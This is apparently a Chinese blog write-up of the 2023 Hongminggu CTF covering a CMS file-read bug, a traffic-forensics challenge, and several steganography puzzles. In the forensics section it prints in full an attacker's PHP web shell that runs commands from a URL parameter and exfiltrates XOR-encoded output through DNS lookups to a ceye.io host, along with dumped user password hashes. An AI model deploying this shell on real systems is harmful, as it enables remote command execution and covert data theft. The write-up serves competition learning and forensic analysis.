2023第三届”红明谷“杯网络安全大赛 Writeup By AheadSec

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已于 2023-04-25 20:58:58 修改

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分类专栏： Game Writeups 文章标签： 2023红明谷

于 2023-04-19 22:39:15 首次发布

本文链接：https://blog.csdn.net/mochu7777777/article/details/130255217

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Web
- 点击签到
- Dreamer
Misc

Misc题目附件链接：https://pan.baidu.com/s/16iKPZtDG1Bd4E89Jm0P2vg 
提取码：c6w2

Web

点击签到

修改前端js代码，将连点10次处的clickDecryptBtn();循环次数改为10000即可，如图所示：

Dreamer

Dreamer cms有nday：https://forum.butian.net/share/2183
其中有一个后台设置栏目存在任意文件读取的漏洞，而且也给了flag位置在/flag

保存，然后首页点击这个栏目即可

Misc

hacker

返回都是gzip格式的数据，直接用http导出可以看到响应包，其中有两条线索比较关键
写入了一个shell

fileContent=<?php file_put_contents('/app/zentaopms/www/xxx1.php', '<?php $servername="127.0.0.1";$username="root";$password="123456";$dbname="zentao";$conn=new PDO("mysql:host=$servername;dbname=$dbname",$username,$password);$conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);$stmt=$conn->prepare("SELECT password FROM zt_user WHERE account=\'admin\'");$stmt->execute();$result=$stmt->fetch(PDO::FETCH_ASSOC);$conn=null;$param=$_GET["cmd"];$password=$result["password"];$output=shell_exec($param);$hex_output=bin2hex($output);$hex_password=bin2hex($password);$len_output=strlen($hex_output);$len_password=strlen($hex_password);$max_subdomain_length=62;$subdomain_base="yafgcy.ceye.io";$hex_xor="";for($i=0;$i<$len_output;$i++){$char_output=$hex_output[$i];$char_password=$hex_password[$i%$len_password];$char_xor=dechex(hexdec($char_output)^hexdec($char_password));if(strlen($hex_xor.$char_xor)>$max_subdomain_length){if(strlen($hex_xor)%2!=0){$subdomain="0"."$hex_xor.$subdomain_base";}else{$subdomain="$hex_xor.$subdomain_base";}gethostbyname($subdomain);$hex_xor="";}else{$hex_xor.=$char_xor;}}if(strlen($hex_xor)%2!=0){$subdomain="0"."$hex_xor.$subdomain_base";}else{$subdomain="$hex_xor.$subdomain_base";}gethostbyname($subdomain);?>');?>

beautify一下

<?php $servername = "127.0.0.1";
$username = "root";
$password = "123456";
$dbname = "zentao";
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $conn->prepare("SELECT password FROM zt_user WHERE account=\'admin\'");
$stmt->execute();
$result = $stmt->fetch(PDO::FETCH_ASSOC);
$conn = null;
$param = $_GET["cmd"];
$password = $result["password"];
$output = shell_exec($param);
$hex_output = bin2hex($output);
$hex_password = bin2hex($password);
$len_output = strlen($hex_output);
$len_password = strlen($hex_password);
$max_subdomain_length = 62;
$subdomain_base = "yafgcy.ceye.io";
$hex_xor = "";
for ($i = 0; $i < $len_output; $i++) {
    $char_output = $hex_output[$i];
    $char_password = $hex_password[$i % $len_password];
    $char_xor = dechex(hexdec($char_output) ^ hexdec($char_password));
    if (strlen($hex_xor . $char_xor) > $max_subdomain_length) {
        if (strlen($hex_xor) % 2 != 0) {
            $subdomain = "0" . "$hex_xor.$subdomain_base";
        } else {
            $subdomain = "$hex_xor.$subdomain_base";
        }
        gethostbyname($subdomain);
        $hex_xor = "";
    } else {
        $hex_xor .= $char_xor;
    }
}
if (strlen($hex_xor) % 2 != 0) {
    $subdomain = "0" . "$hex_xor.$subdomain_base";
} else {
    $subdomain = "$hex_xor.$subdomain_base";
}
gethostbyname($subdomain); ?>

可以看到执行命令的被外带了，响应包并不会有回显

注入查询出来的数据库数据，里面有admin的密码

<xmp class='a-left'>select account,password from zt_user</xmp>{"status":"success","data":"[{\"account\":\"admin\",\"password\":\"8a3e684c923b763d252cf1e8734a7a29\"},{\"account\":\"productManager\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"projectManager\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"dev1\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"dev2\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"dev3\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"tester1\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"tester2\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"tester3\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"testManager\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"},{\"account\":\"test\",\"password\":\"e10adc3949ba59abbe56e057f20f883e\"}]","md5":"71cfaa7002d809c0860d3749abb3454c"}

有了加密逻辑以及密码，就可以解密数据了，外带的数据也被wireshark截获了

去除重复的，总共有八段数据，一开始测试的时候发现除了第一条和第四条能成功解密，其他都是乱码，经过摸索才发现每条需要按照[0:] [1:] [2:] [4:]截断，其中[1:]的还得去掉最后一位，才能正确解密，而且解密出来的明文在开头还会丢失一两位字符。可能与加密逻辑的 if (strlen($hex_xor . $char_xor) > $max_subdomain_length) {...}这段处理有关，不过我实在看不出来这段为啥会造成数据丢失

59115a4b465044695a5a56015c4252065e501c130e416f5c5647556b510044
0 5b0e5d4b5f5b5b69505c57074f18430c423f5b0c0852105a521d4409476b 5
4a 32135c07594c474d4d4a47684453501657411c171e456f4c5f5659043d19
0c49 5011391d4e40054d495a4368
79227024716c7522787370254c777230667673222570247b76677322632671
d 7b357226771575227a7372237677702573611f372570317b767277207620 6
14  79207024777b60247e6674231a626727666171372570317f766773207620
0678  79226731756c60206d75703670754e

根据加密逻辑，解密处理

<?php 
$hex_output = "59115a4b465044695a5a56015c4252065e501c130e416f5c5647556b510044";
$hex_password = bin2hex("8a3e684c923b763d252cf1e8734a7a29");
$len_output = strlen($hex_output);
$len_password = strlen($hex_password);
$hex_xor = "";
for ($i = 0; $i < $len_output; $i++) {
    $char_data = $hex_output[$i];
    $char_password = $hex_password[$i % $len_password];
    $output = dechex(hexdec($char_data) ^ hexdec($char_password));
    $hex_xor .= $output;
}
echo $hex_xor."\n";
echo hex2bin($hex_xor);
?>

解密后的内容是

api.php
checktable.php
data
favcon.ico
index.php
ioncube.php
robots.txt
secret.txt
theme
xhp
xxx1.php

ACCAGTAAAACG{AATTCAACAACATGCTGC
CTACA-AACAAAAACAAT-TCATCAACAAA
AACAACTGGTGA-TTCTTCTCATGATGAAA
ACTTCTTCTGCTGC}

flag经过DNS Cipher处理：https://github.com/karma9874/DNA-Cipher-Script-CTF
替换几位会发现flag格式是uuid形式的，按照以下这个规则替换即可

'AAA':'a'
'AAC':'b'
'AAG':'c'
'AAT':'d'
'ACA':'e'
'ACC':'f'
'TCA':'1'
'TCC':'2'
'TCG':'3'
'TCT':'4'
'TGA':'5'
'TGC':'6'
'TGG':'7'
'TGT':'8'
'TTA':'9'
'TTC':'0'

有丢失，尝试根据DNA Cipher的规则猜测

ACC AGT AAA ACG { AAT TCA ACA ACA TGC TGC
f    l   a   g  {  d   1   e   e   6   6
[T]CT ACA - AAC AAA AAC AAT - TCA TCA ACA AA[A/C/G/T]
  4    e  -  b   a   b   d  -  1   1   e   a/b/c/d
AAC AAC TGG TGA - TTC TTC TCA TGA TGA AA[A/C/G/T]
 b   b   7   5  -  0   0   1   5  5    a/b/c/d
[A]AC TTC TTC TGC TGC}
b   0   0   6   6}

最终flag: flag{d1ee664e-babd-11ed-bb75-00155db0066}

阿尼亚

netpixeljihad.png肯定是在提醒PixelJihad stego: https://sekao.net/pixeljihad/
不过需要密码，图片末尾附加了一串数字，两次hex之后Text Encoding Brute Force

得到压缩包密码：

flag.txt

+-+-++--+- ++---+-++- -+--++-++- +--++-++-- --+++++--- ++-++---+- +++-+-+--- +-+-+---++ ---+++-++- -+--++-++- -+--+++-+- -+--++-++- -+--++-++- ++-+-+-+-- -+--+++-+- ++-++---+- -++++---+- -+--++-++- ++-+-+-+-- +-+++---+- +++-++---- ---+++-++- +-+-+---++ ++-+-+-+-- +-+-+--++- ++--+--++- -++++---+- +---+++-+- ++-+-+-+-- -++++---+- -+--+++-+- +--+-+-++- +++-+-+--- +-+++---+- -+--+-+++- -+--++-++- ---+++-++- ++++----+- -++++---+- -+--+++-+- -+--++-++- ----+++++-

https://www.dcode.fr/decabit-code

X光的秘密

MicroDicom打开，20张图片，

导出图片看看：File->Export->To a picture file...
注意选择没有注解的，不勾选Show annotations以及勾选Without overlay

Stegsolve看了看开头和结尾几张图片，发现最后三张图片有LSB痕迹
在这里插入图片描述

但是LSB，又看不出来啥，不过这里是灰度图，所以观察下单通道数据
task_Frame18.png

task_Frame19.png

task_Frame20.png

一开始看到三张都有LSB数据，以为可能是RGB数据，尝试读取每一位写成像素，组成一张图片，发现不是，直接看字节看不出来什么，尝试转成二进制再看看，各取第一个字节分析下

0x91: 1001 0001
0x61: 0110 0001
0x16: 0001 0110

0x89: 1000 1001

按照18->19->20的顺序把二进制的每一位连接起来，组了前八位发现0x89，果然还是三张图片的LSB数据拆分组合形成组成新图片，只不过是二进制的每一位。接下来就好办了，Stegsolve把每张图片的LSB数据导出来

先把二进制数据取出来，注意补高

file_list = ['flag1', 'flag2', 'flag3']
bindata_file = ['bin_data1', 'bin_data2', 'bin_data3']

for i in range(len(file_list)):
	bin_data = ""
	with open(file_list[i], 'rb') as f:
		data = f.read()
		for idx in range(len(data)):
			bin_data += "{:08b}".format(data[idx])
		with open(bindata_file[i], 'w') as f1:
			f1.write(bin_data)

然后再按照顺序把每张图的LSB数据的每一位二进制拼接起来，最后转成PNG图片即可

with open('bin_data1', 'r') as f:
	bin_data1 = f.read()
with open('bin_data2', 'r') as f:
	bin_data2 = f.read()
with open('bin_data3', 'r') as f:
	bin_data3 = f.read()
all_bin_data = ""
for i in range(len(bin_data1)):
	all_bin_data += bin_data1[i] + bin_data2[i] + bin_data3[i]
hex_data = ""
for i in range(0, len(all_bin_data), 8):
	hex_data += "{:02x}".format(int(all_bin_data[i:i+8], 2))
with open('flag.png', 'wb') as f:
	f.write(bytes.fromhex(hex_data))